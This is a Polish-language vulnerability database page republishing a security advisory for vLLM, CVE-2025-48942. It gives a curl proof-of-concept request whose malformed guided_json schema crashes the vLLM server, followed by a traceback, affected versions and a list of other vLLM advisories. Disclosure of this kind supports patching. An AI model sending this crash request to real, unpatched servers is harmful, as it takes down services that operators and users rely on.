Zaloguj się
Deutsch English Español Polski
Średnia

vLLM DOS: Remotely kill vllm over http with invalid JSON schema

  • Ujawniono: 28.05.2025
  • Aktualizacja: 11.10.2026 14:19

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) vllm >= 0.8.0, < 0.9.0 0.9.0

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-248
Platforma
Python (PyPI)
Paczka
vllm
Ujawniono
28.05.2025
Aktualizacja
11.10.2026 14:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2025-54 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6qc9-v4r8-22xg - CC BY 4.0

Historia podatności: vllm

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (94) w archiwum
Wszystkich wpisów
94
Pierwsza → ostatnia
09.2024 10.2026
Bez poprawki
5
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 9
  • Wysoka 23
  • Średnia 47
  • Niska 4
  • Nieoceniona 11

Ujawnienia w latach

Istotność:
  1. A flaw has been found in vllm-project vLLM up to 0.26.0. This vulnerability affects unknown code of the file rust/src/parser/src/unified/gemma4.rs of the component Gemma4UnifiedParser. Executing a man
    Wysoka · 7.5 CVE-2026-103241 < 0.27.0 0.27.0
  2. vLLM versions 0.22.0 through 0.23.0 fail to validate stop_token_ids against vocabulary bounds in Rust HTTP and gRPC frontends, allowing out-of-vocabulary token IDs to reach MinTokensLogitsProcessor. A
    Wysoka · 7.5 CVE-2026-100652 >= 0.22.0, < 0.24.0 0.24.0
  3. vLLM has Remote DoS via Invalid Recovered Token Reinjection
    Wysoka · 7.5 CVE-2026-54234 >= 0.17.1, < 0.24.0 0.24.0
  4. vLLM: ReDoS via structured_outputs.regex compiled without timeout in xgrammar and outlines backends
    Wysoka · 7.5 CVE-2026-55574 < 0.24.0 0.24.0
  5. vLLM denial of service via prompt embeds on M-RoPE models
    Wysoka CVE-2026-55514 >= 0.12.0, < 0.24.0 0.24.0
  6. vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.22.1, the vLLM Dockerfile is vulnerable to a dependency confusion attack through the flashinfer-jit-cache package.
    Wysoka · 8.8 CVE-2026-54232 < 0.22.1 0.22.1
  7. vLLM: OpenAI auth bypass
    Krytyczna · 9.1 CVE-2026-48746 >= 0.3.0, < 0.22.0 0.22.0
  8. vLLM: Security Check Bypass via assert Statement in Activation Function Loading Allows Arbitrary Code Execution
    Wysoka · 7.5 CVE-2026-41523 < 0.22.0 0.22.0
  9. vLLM versions 0.8.0 and later are vulnerable to an Out-of-Memory (OOM) Denial of Service (DoS) attack due to unbounded frame count processing in the `VideoMediaIO.load_base64()` method. When processin
    Wysoka · 7.5 CVE-2026-5497 >= 0.8.0, < 0.19.0 0.19.0
  10. vLLM has Hardcoded Trust Override in Model Files Enables RCE Despite Explicit User Opt-Out
    Wysoka · 8.8 CVE-2026-27893 >= 0.10.1, < 0.18.0 0.18.0
  11. vLLM has RCE In Video Processing
    Krytyczna · 9.8 CVE-2026-22778 >= 0.8.3, < 0.14.1 0.14.1
  12. vLLM vulnerable to Server-Side Request Forgery (SSRF) through MediaConnector
    Wysoka · 7.1 CVE-2026-24779 < 0.14.1 0.14.1
  13. vLLM affected by RCE via auto_map dynamic module loading during model initialization
    Wysoka · 8.8 CVE-2026-22807 >= 0.10.1, < 0.14.0 0.14.0
  14. vLLM introduced enhanced protection for CVE-2025-62164
    Wysoka · 8.8 CVE-2026-56340 >= 0.10.2, < 0.13.0 0.13.0
  15. vLLM vulnerable to remote code execution via transformers_utils/get_config
    Wysoka · 7.1 CVE-2025-66448 < 0.11.1 0.11.1
  16. vLLM vulnerable to DoS with incorrect shape of multimodal embedding inputs
    Wysoka · 6.5 CVE-2025-62372 >= 0.5.5, < 0.11.1 0.11.1
  17. vLLM deserialization vulnerability leading to DoS and potential RCE
    Wysoka · 8.8 CVE-2025-62164 >= 0.10.2, < 0.11.1 0.11.1
  18. vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class
    Wysoka · 7.1 CVE-2025-6242 >= 0.5.0, < 0.11.0 0.11.0
  19. vLLM is vulnerable to timing attack at bearer auth
    Wysoka · 7.5 CVE-2025-59425 < 0.11.0 0.11.0
  20. vLLM has remote code execution vulnerability in the tool call parser for Qwen3-Coder
    Wysoka · 8.8 CVE-2025-9141 >= 0.10.0, < 0.10.1.1 0.10.1.1
  21. vllm API endpoints vulnerable to Denial of Service Attacks
    Wysoka · 7.5 CVE-2025-48956 >= 0.1.0, < 0.10.1.1 0.10.1.1
  22. vLLM DOS: Remotely kill vllm over http with invalid JSON schema ten wpis
    Średnia · 6.5 CVE-2025-48942 >= 0.8.0, < 0.9.0 0.9.0
  23. vLLM Allows Remote Code Execution via PyNcclPipe Communication Service
    Krytyczna · 9.8 CVE-2025-47277 >= 0.6.5, < 0.8.5 0.8.5
  24. Remote Code Execution Vulnerability in vLLM Multi-Node Cluster Configuration
    Wysoka · 8.0 CVE-2025-30165 >= 0.5.2, < 0.10.0 0.10.0
  25. vLLM Vulnerable to Remote Code Execution via Mooncake Integration
    Krytyczna · 10.0 CVE-2025-32444 >= 0.6.5, < 0.8.5 0.8.5
  26. Data exposure via ZeroMQ on multi-node vLLM deployment
    Wysoka · 7.5 CVE-2025-30202 >= 0.5.2, < 0.8.5 0.8.5
  27. CVE-2025-24357 Malicious model remote code execution fix bypass with PyTorch < 2.6.0
    Krytyczna · 9.8 ghsa-ggpf-24jw-3fcw < 0.8.0 0.8.0
  28. vLLM deserialization vulnerability in vllm.distributed.GroupCoordinator.recv_object
    Krytyczna · 9.8 CVE-2024-9052 <= 0.8.1 brak poprawki
  29. vLLM Deserialization of Untrusted Data vulnerability
    Krytyczna · 9.8 CVE-2024-11041 <= 0.6.2 brak poprawki
  30. vLLM allows Remote Code Execution by Pickle Deserialization via AsyncEngineRPCServer() RPC server entrypoints
    Krytyczna · 9.8 CVE-2024-9053 <= 0.6.0 brak poprawki
  31. vLLM Allows Remote Code Execution via Mooncake Integration
    Krytyczna · 9.0 CVE-2025-29783 >= 0.6.5, < 0.8.0 0.8.0
  32. vllm: Malicious model to RCE by torch.load in hf_model_weights_iterator
    Wysoka · 7.5 CVE-2025-24357 < 0.7.0 0.7.0
  33. vLLM denial of service vulnerability
    Wysoka · 7.5 CVE-2024-8768 < 0.5.5 0.5.5

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Polityka prywatności

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.